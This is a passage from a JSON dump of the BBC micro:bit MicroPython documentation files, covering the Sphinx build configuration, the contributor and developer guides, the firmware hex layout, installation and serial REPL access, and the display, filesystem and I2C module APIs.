direction of the\n    field.\n\n\n.. py:function:: get_y()\n\n    Gives the reading of the magnetic field strength on the ``y`` axis in nano \n    tesla, as a positive or negative integer, depending on the direction of the\n    field.\n\n\n.. py:function:: get_z()\n\n    Gives the reading of the magnetic field strength on the ``z`` axis in nano \n    tesla, as a positive or negative integer, depending on the direction of the\n    field.\n\n\n.. py:function:: heading()\n\n    Gives the compass heading, calculated from the above readings, as an\n    integer in the range from 0 to 360, representing the angle in degrees,\n    clockwise, with north as 0.\n\n\n.. py:function:: get_field_strength()\n\n    Returns an integer indication of the magnitude of the magnetic field around\n    the device in nano tesla.\n\n\nExample\n=======\n\n.. include:: ../examples/compass.py\n    :code: python\n"
  },
  {
    "path": "micropython/docs/conf.py",
    "content": "# -*- coding: utf-8 -*-\n#\n# BBC Microbit Micropython documentation build configuration file, created by\n# sphinx-quickstart on Tue Oct 20 10:41:30 2015.\n#\n# This file is execfile()d with the current directory set to its\n# containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\nimport sys\nimport os\nimport json\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\nsys.path.insert(0, os.path.abspath('..'))\n\n# -- General configuration ------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n    'sphinx.ext.autodoc',\n    'sphinx.ext.doctest',\n    'sphinx.ext.intersphinx',\n    'sphinx.ext.todo',\n    'sphinx.ext.mathjax',\n    'sphinx.ext.ifconfig',\n    'sphinx.ext.viewcode',\n]\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix of source filenames.\nsource_suffix = '.rst'\n\n# The encoding of source files.\n#source_encoding = 'utf-8-sig'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = u'BBC micro:bit MicroPython'\ncopyright = u'2015-2016, Multiple authors'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n\nyotta_module = json.load(open('../module.json'))\n\n# The short X.Y version.\nversion = yotta_module['version']\n# The full version, including alpha/beta/rc tags.\nrelease = version\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#language = None\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n#today = ''\n# Else, today_fmt is used as the format for a strftime call.\n#today_fmt = '%B %d, %Y'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\nexclude_patterns = ['_build']\n\n# The reST default role (used for this markup: `text`) to use for all\n# documents.\n#default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n#add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n#add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n#show_authors = False\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# A list of ignored prefixes for module index sorting.\n#modindex_common_prefix = []\n\n# If true, keep warnings as \"system message\" paragraphs in the built documents.\n#keep_warnings = False\n\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages.  See the documentation for\n# a list of builtin themes.\n# html_theme = 'default'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further.  For a list of options available for each theme, see the\n# documentation.\n#html_theme_options = {}\n\n# Add any paths that contain custom themes here, relative to this directory.\n#html_theme_path = []\n\n# The name for this set of Sphinx documents.  If None, it defaults to\n# \"<project> v<release> documentation\".\n#html_title = None\n\n# A shorter title for the navigation bar.  Default is the same as html_title.\n#html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n#html_logo = None\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\n#html_static_path = ['_static']\n\n# Add any extra paths that contain custom files (such as robots.txt or\n# .htaccess) here, relative to this directory. These files are copied\n# directly to the root of the documentation.\n#html_extra_path = []\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\n#html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\n#html_domain_indices = True\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it.  The value of this option must be the\n# base URL from which the finished HTML is served.\n#html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n#html_file_suffix = None\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'BBCMicrobitMicropythondoc'\n\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n# The paper size ('letterpaper' or 'a4paper').\n#'papersize': 'letterpaper',\n\n# The font size ('10pt', '11pt' or '12pt').\n#'pointsize': '10pt',\n\n# Additional stuff for the LaTeX preamble.\n#'preamble': '',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n#  author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n  ('index', 'BBCMicrobitMicropython.tex', u'BBC micro:bit MicroPython Documentation',\n   u'Multiple authors', 'manual'),\n]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#latex_use_parts = False\n\n# If true, show page references after internal links.\n#latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n#latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n#latex_appendices = []\n\n# If false, no module index is generated.\n#latex_domain_indices = True\n\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n    ('index', 'bbcmicrobitmicropython', u'BBC Microbit Micropython Documentation',\n     [u'Multiple authors'], 1)\n]\n\n# If true, show URL addresses after external links.\n#man_show_urls = False\n\n\n# -- Options for Texinfo output -------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n#  dir menu entry, description, category)\ntexinfo_documents = [\n  ('index', 'BBCMicrobitMicropython', u'BBC micro:bit MicroPython Documentation',\n   u'Multiple authors', 'BBCMicrobitMicropython', 'One line description of project.',\n   'Miscellaneous'),\n]\n\n# Documents to append as an appendix to all manuals.\n#texinfo_appendices = []\n\n# If false, no module index is generated.\n#texinfo_domain_indices = True\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#texinfo_show_urls = 'footnote'\n\n# If true, do not generate a @detailmenu in the \"Top\" node's menu.\n#texinfo_no_detailmenu = False\n\n\n# -- Options for Epub output ----------------------------------------------\n\n# Bibliographic Dublin Core info.\nepub_title = u'BBC Microbit Micropython'\nepub_author = u'Multiple authors'\nepub_publisher = u'Multiple authors'\nepub_copyright = u'2015, Multiple authors'\n\n# The basename for the epub file. It defaults to the project name.\n#epub_basename = u'BBC Microbit Micropython'\n\n# The HTML theme for the epub output. Since the default themes are not optimized\n# for small screen space, using the same theme for HTML and epub output is\n# usually not wise. This defaults to 'epub', a theme designed to save visual\n# space.\n#epub_theme = 'epub'\n\n# The language of the text. It defaults to the language option\n# or en if the language is not set.\n#epub_language = ''\n\n# The scheme of the identifier. Typical schemes are ISBN or URL.\n#epub_scheme = ''\n\n# The unique identifier of the text. This can be a ISBN number\n# or the project homepage.\n#epub_identifier = ''\n\n# A unique identification for the text.\n#epub_uid = ''\n\n# A tuple containing the cover image and cover page html template filenames.\n#epub_cover = ()\n\n# A sequence of (type, uri, title) tuples for the guide element of content.opf.\n#epub_guide = ()\n\n# HTML files that should be inserted before the pages created by sphinx.\n# The format is a list of tuples containing the path and title.\n#epub_pre_files = []\n\n# HTML files shat should be inserted after the pages created by sphinx.\n# The format is a list of tuples containing the path and title.\n#epub_post_files = []\n\n# A list of files that should not be packed into the epub file.\nepub_exclude_files = ['search.html']\n\n# The depth of the table of contents in toc.ncx.\n#epub_tocdepth = 3\n\n# Allow duplicate toc entries.\n#epub_tocdup = True\n\n# Choose between 'default' and 'includehidden'.\n#epub_tocscope = 'default'\n\n# Fix unsupported image types using the PIL.\n#epub_fix_images = False\n\n# Scale large images.\n#epub_max_image_width = 0\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#epub_show_urls = 'inline'\n\n# If false, no index is generated.\n#epub_use_index = True\n\n\n# Example configuration for intersphinx: refer to the Python standard library.\nintersphinx_mapping = {'http://docs.python.org/': None}\n\n# on_rtd is whether we are on readthedocs.org, this line of code grabbed from docs.readthedocs.org\non_rtd = os.environ.get('READTHEDOCS', None) == 'True'\n\nif not on_rtd:  # only import and set the theme if we're building docs locally\n    import sphinx_rtd_theme\n    html_theme = 'sphinx_rtd_theme'\n    html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]\n\n# otherwise, readthedocs.org uses their theme by default, so no need to specify it\n"
  },
  {
    "path": "micropython/docs/devguide/contributing.rst",
    "content": "Contributing\n------------\n\nHey! Many thanks for wanting to improve MicroPython on the micro:bit.\n\nContributions are welcome without prejudice from *anyone* irrespective of\nage, gender, religion, race or sexuality. Good quality code and engagement\nwith respect, humour and intelligence wins every time.\n\n* If you're from a background which isn't well-represented in most geeky groups, get involved - *we want to help you make a difference*.\n* If you're from a background which *is* well-represented in most geeky groups, get involved - *we want your help making a difference*.\n* If you're worried about not being technical enough, get involved - *your fresh perspective will be invaluable*.\n* If you think you're an imposter, get involved.\n* If your day job isn't code, get involved.\n* This isn't a group of experts, just people. Get involved!\n* This is a new community, so, get involved.\n\nWe expect contributors to follow the Python Software Foundation's Code of\nConduct: https://www.python.org/psf/codeofconduct/\n\nFeedback may be given for contributions and, where necessary, changes will\nbe politely requested and discussed with the originating author. Respectful\nyet robust argument is most welcome.\n\nChecklist\n+++++++++\n\n* Your code should be commented in *plain English* (British spelling).\n* If your contribution is for a major block of work and you've not done so\n  already, add yourself to the AUTHORS file following the convention found\n  therein.\n* If in doubt, ask a question. The only stupid question is the one that's never asked.\n* Have fun!\n"
  },
  {
    "path": "micropython/docs/devguide/devfaq.rst",
    "content": ".. _devfaq:\n\n=============\nDeveloper FAQ\n=============\n\n.. note::\n\n    This project is under active development. Please help other\n    developers by adding tips, how-tos, and Q&A to this document.\n    Thanks!\n\nWhere do I get a copy of the DAL? A: Ask Nicholas Tollervey for details.\n"
  },
  {
    "path": "micropython/docs/devguide/flashfirmware.rst",
    "content": ".. _flashfirmware:\n\n=================\nFlashing Firmware\n=================\n\nBuilding firmware\n-----------------\nUse yotta to build.\n\nUse target bbc-microbit-classic-gcc-nosd::\n\n  yt target bbc-microbit-classic-gcc-nosd\n\nRun yotta update to fetch remote assets::\n\n  yt up\n\nStart the build with either yotta::\n\n  yt build\n\n...or use the Makefile::\n\n  make all\n\nThe result is a microbit-micropython hex file (i.e. ``microbit-micropython.hex``)\nfound in the build/bbc-microbit-classic-gcc-nosd/source from the root of the\nrepository.\n\nThe Makefile does some extra preprocessing of the source, which is needed only\nif you add new interned strings to ``qstrdefsport.h``. The Makefile also puts\nthe resulting firmware at build/firmware.hex, and includes some convenience\ntargets.\n\nPreparing firmware and a Python program\n---------------------------------------\n\ntools/makecombined\n\nhexlify\n\n\n\nFlashing to the micro:bit\n-------------------------\n\n\n\n\n**Installation Scenarios**\n\n* :ref:`Windows <microbit-windows>`\n* :ref:`OS X <microbit-osx>`\n* :ref:`Linux <microbit-linux>`\n* :ref:`Debian and Ubuntu <microbit-debian-ubuntu>`\n* :ref:`Red Hat Fedora/CentOS <microbit-redhat>`\n* :ref:`Raspberry Pi <microbit-rpi>`\n"
  },
  {
    "path": "micropython/docs/devguide/hexformat.rst",
    "content": ".. _hexformat:\n\n=================\nFirmware Hex File\n=================\n\nWhen MicroPython is built, the compiler produces an\n`Intel Hex <https://en.wikipedia.org/wiki/Intel_HEX>`_ file containing the\nMicroPython firmware.\nAdditional data can then be added to this file to contain information about the\nMicroPython version, or the Python code to execute on start-up.\n\nThe general memory layout used is:\n\n- ``0x00000000``: Start of MicroPython firmware - up to 248 KBs\n- ``0x0003e000``: Start of appended script (optional) - up to 8 Kbs\n- ``0x100010c0``: UICR customer[16] register, start of MicroPython information - 28 bytes\n    \n.. note::\n    If you append any data or modify the Intel Hex file, please ensure the\n    addresses of the data stored progress in incremental order.\n    If there is an address jump backwards DAPLink will fail to flash the file.\n\nAppended script format\n----------------------\n\nMicroPython checks the first 2 bytes at address ``0x0003e000`` for a magic\nstring to indicate if there is an appended script. If the magic string is\nfound, it will automatically execute the Python code stored there, unless there\nis a main.py file stored in the MicroPython filesystem.\n\n- ``0x0003e000``: 2 bytes \"MP\"\n- ``0x0003e002``: 2 bytes, little endian integer for the length (in bytes) of the appended script (not counting this 4 byte header)\n- ``0x0003e004``: Script stored as bytes, for MicroPython to decode using utf-8.\n\nUICR format\n-----------\n\nThe User Information Configuration Registers (UICR) is a region of Non-Volatile\nMemory available to store user-specific settings.\nThe first 128 Bytes are reserved, but we can use the other 128 Bytes to store\nany arbitrary data.\n\nMicroPython stores the following information, in little endian, starting from\nthe UICR customer[16] register:\n\n- ``0x100010c0``: 4-byte integer with magic value ``0x17eeb07c``\n- ``0x100010c4``: 4-byte integer with value ``0xffffffff``\n- ``0x100010c8``: 4-byte integer with value ``0x0000000a`` (log base 2 of the flash page size, being 1024 bytes)\n- ``0x100010ca``: 2-byte integer with value ``0x0000`` (start page of the firmware)\n- ``0x100010cc``: 2-byte integer storing number of pages used by the firmware\n- ``0x100010d0``: 4-byte integer with value ``0xffffffff``\n- ``0x100010d4``: 4-byte integer with the address in the firmware of the version string\n- ``0x100010d8``: 4-byte integer with value ``0x00000000``\n\nSteps to create the firmware.hex file\n-------------------------------------\n\nThe yotta tool is used to build MicroPython, but before that takes place\nadditional files have to be generated by the Makefile in preparation for the \nbuild, and additional data is added to the hex file after.\n\nRunning the ``make all`` command executes the following steps:\n\n- The ``tools/makeversionhdr.py`` script creates the ``microbitversion.h`` file with macros containing build information\n- Yotta builds the source and creates a bare hex file with just the firmware\n- The ``tools/adduicr.py`` script adds the UICR to the bare hex\n- The final hex file is placed in ``build/firmware.hex``\n- The user can optionally append a script using ``tools/makecombinedhex.py`` (or other tools)\n"
  },
  {
    "path": "micropython/docs/devguide/installation.rst",
    "content": ".. _install-dev:\n\n============\nInstallation\n============\n\nThis section will help you set up the tools and programs needed for\ndeveloping programs and firmware to flash to the BBC micro:bit using MicroPython.\n\nDependencies\n------------\n\n\nDevelopment Environment\n-----------------------\n\nYou will need:\n\n* git\n* yotta\n\nDepending on your operating system, the installation instructions vary. Use\nthe installation scenario that best suits your system.\n\nYotta will require an ARM mbed account.  It will walk you through signing up\nif you are not registered.\n\nInstallation Scenarios\n----------------------\n\n* :ref:`Windows <microbit-windows>`\n* :ref:`OS X <microbit-osx>`\n* :ref:`Linux <microbit-linux>`\n* :ref:`Debian and Ubuntu <microbit-debian-ubuntu>`\n* :ref:`Red Hat Fedora/CentOS <microbit-redhat>`\n* :ref:`Raspberry Pi <microbit-rpi>`\n\n\n.. _microbit-windows:\n\nWindows\n~~~~~~~\n\nWhen installing `Yotta\n<http://yottadocs.mbed.com/>`_, make sure you have these components ticked to install.\n\n- python\n- gcc\n- cMake\n- ninja\n- Yotta\n- git-scm\n- mbed serial driver\n\n\n\n.. _microbit-osx:\n\nOS X\n~~~~\n\n\n.. _microbit-linux:\n\nLinux\n~~~~~\n\nThese steps will cover the basic flavors of Linux and working with the\nmicro:bit and MicroPython. See also the specific sections for Raspberry Pi,\nDebian/Ubuntu, and Red Hat Fedora/Centos.\n\n\n.. _microbit-debian-ubuntu:\n\nDebian and Ubuntu\n^^^^^^^^^^^^^^^^^\n\n::\n\n  sudo add-apt-repository -y ppa:team-gcc-arm-embedded\n  sudo add-apt-repository -y ppa:pmiller-opensource/ppa\n  sudo apt-get update\n  sudo apt-get install cmake ninja-build gcc-arm-none-eabi srecord libssl-dev\n  pip3 install yotta\n\n\n.. _microbit-redhat:\n\nRed Hat Fedora/CentOS\n^^^^^^^^^^^^^^^^^^^^^\n\n\n.. _microbit-rpi:\n\nRaspberry Pi\n^^^^^^^^^^^^\n\n\n\n.. _next-steps:\n\nNext steps\n----------\n\nCongratulations. You have installed your development environment and are ready to\nbegin :ref:`flashing firmware <flashfirmware>`  to the micro:bit.\n"
  },
  {
    "path": "micropython/docs/devguide/repl.rst",
    "content": ".. _dev-repl:\n\n==================\nAccessing the REPL\n==================\n\nREPL (Read-Evaluate-Print-Loop) allows the micro:bit to read and evaluate code \nin real-time as you write it.\n\nAccessing the REPL on the micro:bit will require you to:\n\n* Determine the communication port identifier for the micro:bit\n* Use a program to establish communication with the device\n\nFor versions of Windows before 10 you might need to install the Mbed serial \ndriver, the instructions for which are found here:\n\nhttps://os.mbed.com/docs/latest/tutorials/windows-serial-driver.html\n\n\nUsing a serial communication program\n------------------------------------\n\nThe `Mu Editor <https://codewith.mu/en/tutorials/1.0/repl>`_ has built-in \nsupport for REPL and even includes a real-time data plotter. Some other common \noptions are `picocom` and `screen`. You will need to install a program and \nread the appropriate documentation to understand the basics of connecting to a \ndevice.\n\n\nDetermining the port\n--------------------\n\nThe micro:bit will have a port identifier (tty, usb) that can be used by the \ncomputer for communicating. Before connecting to the micro:bit we must \ndetermine the port identifier.\n\n**Windows**\n\nWhen you have installed the aforementioned drivers the micro:bit will appear in\ndevice-manager as a COM port.\n\n**Mac OS**\n\nOpen Terminal and type ``ls /dev/cu.*`` to see a list of connected serial \ndevices; one of them will look like ``/dev/cu.usbmodem1422`` (the exact number \nwill depend on your computer).\n\n**Linux**\n\nIn terminal, type ``dmesg | tail`` which will show which ``/dev`` node the \nmicro:bit was assigned (e.g. ``/dev/ttyUSB0``).\n\n\nCommunicating with the micro:bit\n--------------------------------\n\nOnce you have found the port identifier you can use a serial terminal program \nto communicate with the micro:bit.\n\n**Windows**\n\nYou may wish to use Tera Term, PuTTY, or another program.\n\nIn Tera Term:\n\t* Plug in the micro:bit and open Tera Term\n\t* Select Serial as the port\n\t* Go to Setup -> Serial port. Ensure the Port is the correct COM port.\n\t* Choose a baud rate of ``115200``, data 8 bits, parity none, stop 1 bit.\n\nIn PuTTY:\n\t* Plug in the micro:bit and open PuTTY\n\t* Switch the Connection Type to Serial\n\t* Ensure the Port is the correct COM port\n\t* Change the baud rate to ``115200``\n\t* Select 'Serial' on the menu on the left, then click 'Open'\n\n\n**Mac OS**\n\nOpen Terminal and type ``screen /dev/cu.usbmodem1422 115200``, replacing\n``/dev/cu.usbmodem1422`` with the port you found earlier. This will open the\nmicro:bit's serial output and show all messages received from the device.\n\nTo exit, press Ctrl-A then Ctrl-\\\\ and answer Yes to the question. There are\nmany ways back to a command prompt including Ctrl-A then Ctrl-D, which will\ndetach screen, but the serial port with still be locked, preventing other\napplications from accessing it. You can then restart screen by typing\n``screen -r``.\n\n\n**Linux**\n\nUsing the ``screen`` program, type ``screen /dev/ttyUSB0 115200``, replacing\n``/dev/ttyUSB0`` with the port you found earlier.\n\nTo exit, press Ctrl-A then \\\\ and answer Yes to the question. There are many\nways back to a command prompt including Ctrl-A then Ctrl-D, which will detach\nscreen. All serial output from the micro:bit will still be received by\n``screen``, the serial port will be locked, preventing other applications from\naccessing it. You can restart screen by typing ``screen -r``.\n\nUsing ``picocom``, type ``picocom /dev/ttyACM0 -b 115200``, again replacing\n``/dev/ttyACM0`` with the port you found earlier.\n\nTo exit, press Ctrl-A then Ctrl-Q.\n"
  },
  {
    "path": "micropython/docs/display.rst",
    "content": "Display\n*******\n\n.. py:module:: microbit.display\n\nThis module controls the 5×5 LED display on the front of your board. It can\nbe used to display images, animations and even text.\n\n.. image:: scroll-hello.gif\n\nFunctions\n=========\n\n.. py:function:: get_pixel(x, y)\n\n    Return the brightness of the LED at column ``x`` and row ``y`` as an\n    integer between 0 (off) and 9 (bright).\n\n\n.. py:function:: set_pixel(x, y, value)\n\n    Set the brightness of the LED at column ``x`` and row ``y`` to ``value``,\n    which has to be an integer between 0 and 9.\n\n\n.. py:function:: clear()\n\n    Set the brightness of all LEDs to 0 (off).\n\n.. py:function:: show(image)\n\n    Display the ``image``.\n\n\n.. py:function:: show(value, delay=400, \\*, wait=True, loop=False, clear=False)\n\n    If ``value`` is a string, float or integer, display letters/digits in sequence.\n    Otherwise, if ``value`` is an iterable sequence of images, display these images in sequence.\n    Each letter, digit or image is shown with ``delay`` milliseconds between them.\n\n    If ``wait`` is ``True``, this function will block until the animation is\n    finished, otherwise the animation will happen in the background.\n\n    If ``loop`` is ``True``, the animation will repeat forever.\n\n    If ``clear`` is ``True``, the display will be cleared after the iterable has finished.\n\n    Note that the ``wait``, ``loop`` and ``clear`` arguments must be specified\n    using their keyword.\n\n.. note::\n\n    If using a generator as the ``iterable``, then take care not to allocate any memory\n    in the generator as allocating memory in an interrupt is prohibited and will raise a\n    ``MemoryError``.\n\n.. py:function:: scroll(value, delay=150, \\*, wait=True, loop=False, monospace=False)\n\n    Scrolls ``value`` horizontally on the display. If ``value`` is an integer or float it is\n    first converted to a string using ``str()``. The ``delay`` parameter controls how fast\n    the text is scrolling.\n\n    If ``wait`` is ``True``, this function will block until the animation is\n    finished, otherwise the animation will happen in the background.\n\n    If ``loop`` is ``True``, the animation will repeat forever.\n\n    If ``monospace`` is ``True``, the characters will all take up 5 pixel-columns\n    in width, otherwise there will be exactly 1 blank pixel-column between each\n    character as they scroll.\n\n    Note that the ``wait``, ``loop`` and ``monospace`` arguments must be specified\n    using their keyword.\n\n.. py:function:: on()\n\n    Use on() to turn on the display.\n\n.. py:function:: off()\n\n    Use off() to turn off the display (thus allowing you to re-use the GPIO\n    pins associated with the display for other purposes).\n\n.. py:function:: is_on()\n\n    Returns ``True`` if the display is on, otherwise returns ``False``.\n\n.. py:function:: read_light_level()\n\n    Use the display's LEDs in reverse-bias mode to sense the amount of light\n    falling on the display.  Returns an integer between 0 and 255 representing\n    the light level, with larger meaning more light.\n\nExample\n=======\n\nTo continuously scroll a string across the display, and do it in the background,\nyou can use::\n\n    import microbit\n\n    microbit.display.scroll('Hello!', wait=False, loop=True)\n"
  },
  {
    "path": "micropython/docs/filesystem.rst",
    "content": "Local Persistent File System\n****************************\n\nIt is useful to store data in a persistent manner so that it remains intact\nbetween restarts of the device. On traditional computers this is often achieved\nby a file system consisting of named files that hold raw data, and named\ndirectories that contain files. Python supports the various operations needed\nto work with such file systems.\n\nHowever, since the micro:bit is a limited device in terms of both hardware and\nstorage capacity MicroPython provides a small subset of the functions needed\nto persist data on the device. Because of memory constraints **there is\napproximately 30k of storage available** on the file system.\n\n.. warning::\n\n    Re-flashing the device will DESTROY YOUR DATA.\n\n    Since the file system is stored in the micro:bit's flash memory and\n    flashing the device rewrites all the available flash memory then all your\n    data will be lost if you flash your device.\n\n    However, if you switch your device off the data will remain intact until\n    you either delete it (see below) or re-flash the device.\n\nMicroPython on the micro:bit provides a flat file system; i.e. there is no\nnotion of a directory hierarchy, the file system is just a list of named\nfiles. Reading and writing a file is achieved via the standard Python ``open``\nfunction and the resulting file-like object (representing the file) of types\n``TextIO`` or ``BytesIO``. Operations for working with files on the file system\n(for example, listing or deleting files) are contained within the\n:py:mod:`os` module.\n\nIf a file ends in the ``.py`` file extension then it can be imported. For\nexample, a file named ``hello.py`` can be imported like this: ``import hello``.\n\nAn example session in the MicroPython REPL may look something like this::\n\n    >>> with open('hello.py', 'w') as hello:\n    ...    hello.write(\"print('Hello')\")\n    ...\n    >>> import hello\n    Hello\n    >>> with open('hello.py') as hello:\n    ...   print(hello.read())\n    ...\n    print('Hello')\n    >>> import os\n    >>> os.listdir()\n    ['hello.py']\n    >>> os.remove('hello.py')\n    >>> os.listdir()\n    []\n\n.. py:function:: open(filename, mode='r')\n\n    Returns a file object representing the file named in the argument\n    ``filename``. The mode defaults to ``'r'`` which means open for reading in\n    text mode. The other common mode is ``'w'`` for writing (overwriting the\n    content of the file if it already exists). Two other modes are available\n    to be used in conjunction with the ones describes above: ``'t'`` means\n    text mode (for reading and writing strings) and ``'b'`` means binary mode\n    (for reading and writing bytes). If these are not specified then ``'t'``\n    (text mode) is assumed. When in text mode the file object will be an\n    instance of ``TextIO``. When in binary mode the file object will be an\n    instance of ``BytesIO``. For example, use ``'rb'`` to read binary data from\n    a file.\n\n\n.. py:class::\n    TextIO\n    BytesIO\n\n    Instances of these classes represent files in the micro:bit's flat file\n    system. The TextIO class is used to represent text files. The BytesIO\n    class is used to represent binary files. They work in exactly the same\n    except that TextIO works with strings and BytesIO works with bytes.\n\n    You do not directly instantiate these classes. Rather, an appropriately\n    configured instance of the class is returned by the ``open`` function\n    described above.\n\n    .. py:method:: close()\n\n        Flush and close the file. This method has no effect if the file is\n        already closed. Once the file is closed, any operation on the file\n        (e.g. reading or writing) will raise an exception.\n\n    .. py:method:: name()\n\n        Returns the name of the file the object represents. This will be the\n        same as the ``filename`` argument passed into the call to the ``open``\n        function that instantiated the object.\n\n    .. py:method:: read(size)\n\n        Read and return at most ``size`` characters as a single string or\n        ``size`` bytes from the file. As a convenience, if ``size`` is\n        unspecified or -1, all the data contained in the file is returned.\n        Fewer than ``size`` characters or bytes may be returned if there are\n        less than ``size`` characters or bytes remaining to be read from\n        the file.\n\n        If 0 characters or bytes are returned, and ``size`` was not 0, this\n        indicates end of file.\n\n        A ``MemoryError`` exception will occur if ``size`` is larger than the\n        available RAM.\n\n    .. py:method:: readinto(buf, n=-1)\n\n        Read characters or bytes into the buffer ``buf``. If ``n`` is supplied,\n        read ``n`` number of bytes or characters into the buffer ``buf``.\n\n    .. py:method:: readline(size)\n\n        Read and return one line from the file. If ``size`` is specified, at\n        most ``size`` characters will be read.\n\n        The line terminator is always ``'\\n'`` for strings or ``b'\\n'`` for\n        bytes.\n\n    .. py:method:: writable()\n\n        Return ``True`` if the file supports writing. If ``False``, ``write()``\n        will raise ``OSError``.\n\n    .. py:method:: write(buf)\n\n        Write the string or bytes ``buf`` to the file and return the number of\n        characters or bytes written.\n"
  },
  {
    "path": "micropython/docs/i2c.rst",
    "content": "I²C\n***\n\n.. py:module:: microbit.i2c\n\nThe ``i2c`` module lets you communicate with devices connected to your board\nusing the I²C bus protocol. There can be multiple slave devices connected at\nthe same time, and each one has its own unique address, that is either fixed\nfor the device or configured on it. Your board acts as the I²C master.\n\nWe use 7-bit addressing for devices because of the reasons stated\n`here <http://www.totalphase.com/support/articles/200349176-7-bit-8-bit-and-10-bit-I2C-Slave-Addressing>`_.\n\nThis may be different to other micro:bit related solutions.\n\nHow exactly you should communicate with the devices, that is, what bytes to\nsend and how to interpret the responses, depends on the device in question and\nshould be described separately in that device's documentation.\n\n\nFunctions\n=========\n\n.. py:function:: init(freq=100000, sda=pin20, scl=pin19)\n\n    Re-initialize peripheral with the specified clock frequency ``freq`` on the\n    specified ``sda`` and ``scl`` pins.\n\n    .. warning::\n\n        Changing the I²C pins from defaults will make the accelerometer and\n        compass stop working, as they are connected internally to those pins.\n\n\n.. py:function:: scan()\n\n    Scan the bus for devices.  Returns a list of 7-bit addresses corresponding\n    to those devices that responded to the scan.\n\n\n.. py:function:: read(addr, n, repeat=False)\n\n    Read ``n`` bytes from the device with 7-bit address ``addr``. If ``repeat``\n    is ``True``, no stop bit will be sent.\n\n\n.. py:function:: write(addr, buf, repeat=False)\n\n    Write bytes from ``buf`` to the device with 7-bit address ``addr``. If\n    ``repeat`` is ``True``, no stop bit will be sent.\n\n\nConnecting\n----------\n\nYou should connect the device's ``SCL`` pin to micro:bit pin 19, and the\ndevice's ``SDA`` pin to micro:bit pin 20. You also must connect the device's\nground to the micro:bit ground (pin ``GND``). You may need to power the device\nusing an external power supply or the micro:bit.\n\nThere are internal pull-up resistors on the I²C lines of the board, but with\nparticularly long wires or large number of devices you may need to add\nadditional pull-up resistors, to ensure noise-free communication.\n"
  },
  {
    "path": "micropython/docs/image.rst",
